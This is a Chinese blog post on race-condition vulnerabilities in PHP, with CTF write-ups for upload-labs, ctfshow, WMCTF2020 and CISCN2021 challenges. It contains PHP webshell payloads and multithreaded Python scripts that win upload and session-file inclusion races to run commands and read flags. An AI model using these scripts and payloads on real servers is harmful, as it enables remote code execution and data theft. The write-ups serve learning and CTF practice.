浅析条件竞争漏洞

10 篇文章 0 订阅
本文详细介绍了条件竞争漏洞的原理及其在CTF挑战中的应用,通过实例展示了如何利用条件竞争来绕过文件上传限制,实现恶意代码执行,包括PHP文件的上传、文件包含漏洞的利用以及多线程并发请求的策略。同时,提供了多个CTF挑战的解决方案,如WMCTF2020、web_checkin等,展示了如何通过条件竞争获取webshell并读取敏感信息。
摘要由CSDN通过智能技术生成

0x00-条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

0x01-基础知识

先来了解一下关于条件竞争的基础知识

条件竞争
系统中,最小的运算调度单位是线程,而每个线程又依附于一个进程,条件竞争则是多进程 或多线程对一个共享资源操作,因为操作顺序不受控的时候所产生的问题。

进程
进程是为了更好的利用CPU的资源;进程是系统进行资源分配和调度的一个独立单位;每个进程都有自己的独立内存空间,不同进程 通过进程间通信来通信;由于进程比较重要,占据独立的内存,所以上 下文进程间的切换开销(栈、寄存器、虚拟内 存、文件句柄等)比较大,但相对比较稳定安 全。

线程
线程的是为了降低上下文切换的消耗,提高系 统的并发性,并突破一个进程只能干一样事的 缺陷,使到进程内并发成为可能。 线程是进程的一个实体,是CPU调度和分派的基 本单位,它是比进程更小的能独立运行的基本单 位。线程自己基本上不拥有系统资源,只拥有一点在 运行中必不可少的资源(如程序计数器,一组寄 存器和栈),但是它可与同属一个进程的其他的 线程共享进程所拥有的全部资源。 线程间通信主要通过共享内存,上下文切换很快,资源开销较少,但相比进程不够稳定容易 丢失数据。
Session:
PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。

0x02-漏洞分析

攻击者不断的发起访问请求访问该文件,该文件一旦被执行,就会在服务器上生成一个恶意的shell文件

首先上传一个php文件,然后检测文件后缀名,如果不符合条件,就删掉,虽然php代码在执行的时候是线性执行代码的,但是执行的时候可以有多个线程。

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1);   #后缀

$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
	if(!preg_match('/php/i', $ext)){   #判断后缀是否为php
		echo 'upload success,file in '.$path;
	}else{
		unlink($path);    #已经上传后判断若是PHP则删除
		die("can't upload php file!");
	}
	}else{
		die('upload error');
}

继续上传一个php文件

<?php
$content='<?php system($_GET["c"]);?>';
file_put_contents('test.php',$content);
?>

在执行完move_uploaded_file之后,执行unlink之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。

如果上传的php的功能是写一句话到一个php文件,这样我们在删除之前访问该文件,就会生成一个一句话木马,就可以得到webshell。 所以我们使用多线程并发的不断访问上传的文件,务器中的函数执行都是需要时间的,如果我上传上去的文件在没被删除的时候,一旦成功访问到了上传的文件,那么它就会向服务器写入shell。

一般而言,我们是上传了文件,但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,以及删除文件的函数进行竞争。文件被访问了依旧可以删除,它删除跟我访问没有任何关系。

0x03-CTF中的条件竞争

upload-libs pass17

源代码:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败!';
    }
}

分析代码:

$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称

当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行

if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹

绕过思路是利用代码执行过程有耗费时间的过程,上传速度大于匹配unlink条件就能显示webshell界面

方法一:使用brup抓包

使用burpsuite抓包上传shell.php,一直重放上传文件

shell.php内容:

<?php fputs(fopen('pass.php','w'),'<?php phpinfo();?>'); ?>

只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个pass.php,写入一句话木马:<?php phpinfo();?>
在这里插入图片描述
然后Send to lntruder,并且进行以下的设置
在这里插入图片描述
Payload设置
在这里插入图片描述

然后不停访问http://localhost/upload-labs/upload/shell.php,爆破结束后,访问pass.php,出现phpinfo信息,shell上传成功在这里插入图片描述

方法二:pytho多线程上传

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://localhost/upload-labs/Pass-17/index.php'
    files = {'upload_file': (
        'shell2.php', "<?php fputs(fopen('pass2.php','w'),'<?php phpinfo();?>');?>")}
    data = {'submit': '上传'}
    r = requests.post(url=url, data=data, files=files)
    re = requests.get('http://localhost/upload-labs/upload/shell2.php')
    if re.status_code == 200:
        print('上传成功')


if __name__ == '__main__':
    with ThreadPoolExecutor(20) as p:
        p.map(td, range(200))

访问pass2.php,也能看到phpinfo页面
在这里插入图片描述

ctfhsow [大牛杯]-web_checkin

羽师傅的大牛杯wp,发现用到了条件竞争漏洞,照着wp复现一下。

随便传参一个code=1,F12查看源码,注释提示仅允许index.php存在,删除所有其他文件,从这句话里可以猜测含有条件竞争漏洞。

<!-- 仅允许index.php存在,删除所有其他文件 -->
xi nei~

查看所有文件

?code=?><?=`nl%09*`

读取到部分源码

    1	<?php ?><?=`nl	*`
     2	?>
     3	<?php
     4	    opendir("./");
     5	    while($filename = readdir()) {
     6	    if($filename != "." && $filename != ".." && $filename != "index.php") {
     7	            unlink($filename);
     8	        }
     9	    }
    10	    closedir();
    11	?>

生成文件atkx

?code=`nl%09/*>atkx`

直接使用羽师傅的脚本进行条件竞争,将源码写入atkx中

# -*- coding:utf-8 -*-
#author: yu2xx
import requests
import threading
import sys
session=requests.session()
url1="http://bdd02bb0-9c48-4203-806f-64219749382b.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://bdd02bb0-9c48-4203-806f-64219749382b.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/atkx'
def write():
	while True:
		r = session.get(url1)
def read():
	while True:
		r = session.get(url2)
		if len(r.text)!=9561: #随便get传一次就能得到这个长度
    			print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

然后访问atkx可以读取到源码
在这里插入图片描述
想要得到flag的话,直接

?code=?><?=`nl%09/*

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

考查:利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

  • 前提: 需要知道session文件的存放位置。
  • 思路: 利用session.upload_progress将恶意语句写入session文件,从而包含session文件。

session.upload_progress 是PHP5.4的新特征。
在这里插入图片描述
php.ini

1.session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。1. session.upload_progress.enabled = on
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

2. session.upload_progress.cleanup = on
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

3. session.upload_progress.prefix = "upload_progress_"
prefix+name将表示为session中的键名

4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

5.session.use_strict_mode=off
这个选项默认值为off,表示对Cookie中sessionid可控。

一个上传进度数组的结构的例子

#PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在session中存放的数据

<?php
$_SESSION["upload_progress_123"] = array(    // 其中存在上面表单里的value值"123"
 "start_time" => 1234567890,   // The request time 请求时间
 "content_length" => 57343257, // POST content length  post数据长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed  已接收的字节数量
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  上传区域
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",     // 上传文件名
   "tmp_name" => "/tmp/phpxxxxxx",     // 上传后在服务端的临时文件名
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件,便会在session['upload_progress_123']中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w

Session的默认保存路径
在php.ini里的配置session.save_path是注释掉的,那么Seesion保存的路径在不同类型操作系统保存在什么位置?

Linux:
/tmp/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

Windows:
C:\WINDOWS\Temp

在本地phpstudy中找到session的存储位置
在这里插入图片描述
理论具体参考:https://www.yuque.com/u5013914/sn0w/blh341#LbWIR

解题方法1:burpsite条件竞争

本地html向指定网址上传文件

<!DOCTYPE html>
<html>
<body>
<form action="http://f0ea2244-d2b8-43be-8ec6-f61da1585183.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

bp设置,Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,利用session.upload_progress写入恶意语句
在这里插入图片描述
GET方式访问?file=/tmp/sess_flag
在这里插入图片描述
在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息,利用条件竞争应付这种情况
在这里插入图片描述
知道目录文件名为flag.php,修改一句话木马为cat flag.php,继续竞争读取flag
在这里插入图片描述
解题方法2:python脚本实现竞争

# coding=utf-8
import io
import requests
import threading

url = 'http://352c5d9e-8728-47e3-b3e5-7e8934e06141.node3.buuoj.cn/'
sessid = 'Atkx'
data = {"cmd": "system('ls');"}


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('Atkx.txt', f)},
                            cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(url+'?file=/tmp/sess_' + sessid,
                            data=data)
        if 'Atkx.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print('[*]')


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

读到flag.php
在这里插入图片描述
修改一句话木马为cat flag.php,读取flag
在这里插入图片描述

ctfhshow [web入门]-web82

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS和条件竞争进行文件包含。

和上面题一样,直接一把梭

# coding=utf-8
# coding=utf-8
import io
import requests
import threading

url = 'http://4bd1dd58-0b1c-4019-8f55-44ad4dbea031.challenge.ctf.show:8080/'
sessid = 'Atkx'
data = {"cmd": "system('ls');"}


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('Atkx.txt', f)},
                            cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(url+'?file=/tmp/sess_' + sessid,
                            data=data)
        if 'Atkx.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print('[*]')


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

接下来修改代码读取fl0g.php
在这里插入图片描述

ctfhshow [web入门]-web149

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

使用bp不断访问并传参,然后开一个去不断访问 1.php

ctf=1.php
show=<?php system('tac /c*');?>

利用脚本实现

import requests
import threading

url = "http://ae3929ad-8f8f-4dc5-88c9-511d15e5625d.chall.ctf.show:8080/"

def write():
    while event.isSet():
        data = {
            'show':'<?php system("ls /");?>'
        }
        W_reponse = requests.post(url+"?ctf=1.php",data=data)

def read():
    while event.isSet():
        R_reponse = requests.get(url+"1.php")
        if R_reponse.status_code != 404:
            print(R_reponse.text)
            event.clear()
        else:
            print('[*]continued')

if __name__ == '__main__':
    # 通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
    event = threading.Event()
    # 将event的标志设置为True,调用wait方法的所有线程将被唤醒;
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()
    for i in range(1, 100):
        threading.Thread(target=read).start()

跑脚本,发现了ctfshow_fl0g_here.txt文件
在这里插入图片描述

修改为cat /ctfshow_fl0g_here.txt继续跑脚本,即可得到flag
在这里插入图片描述

CISCN2021 - middle_source

源码

<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo "";
        exit;
    }
?> your flag is in some file in /etc

访问cf=../../../var/www/html/you_can_seeeeeeee_me.php,可以看到phpinfo信息

禁用了一大堆函数,可以利用PHP_SESSION_UPLOAD_PROGRESS包含Session文件
在这里插入图片描述
可以看到session存储路径是/var/lib/php/sessions/aidbbhcjei
在这里插入图片描述

修改后的脚本

import io
import requests
import threading

url='http://192.168.43.86:24081'
sessid = 'atkx'
data = {"cmd":"system('cat flag.php');"}
def write(session):
 	while True:
 		 f = io.BytesIO(b'a' * 1024 * 50)
  		 resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files={'file': ('Atkx.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
 	while True:
  		data={
  			'filed':'',
  			'cf':'../../../../../../var/lib/php/sessions/aidbbhcjei/sess_'+sessid
  	}
  	resp = session.post(url,data=data)
  	if 'Atkx' in resp.text:
  		print(resp.text)
  	 	event.clear()
    else:
   		print("[+]")
if __name__=="__main__":
 	event=threading.Event()
 	with requests.session() as session:
  		for i in range(1,30): 
   			threading.Thread(target=write,args=(session,)).start()
  		for i in range(1,30):
   			threading.Thread(target=read,args=(session,)).start()
 	event.set()

修改脚本,目录一层一层往下看就有flag了

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值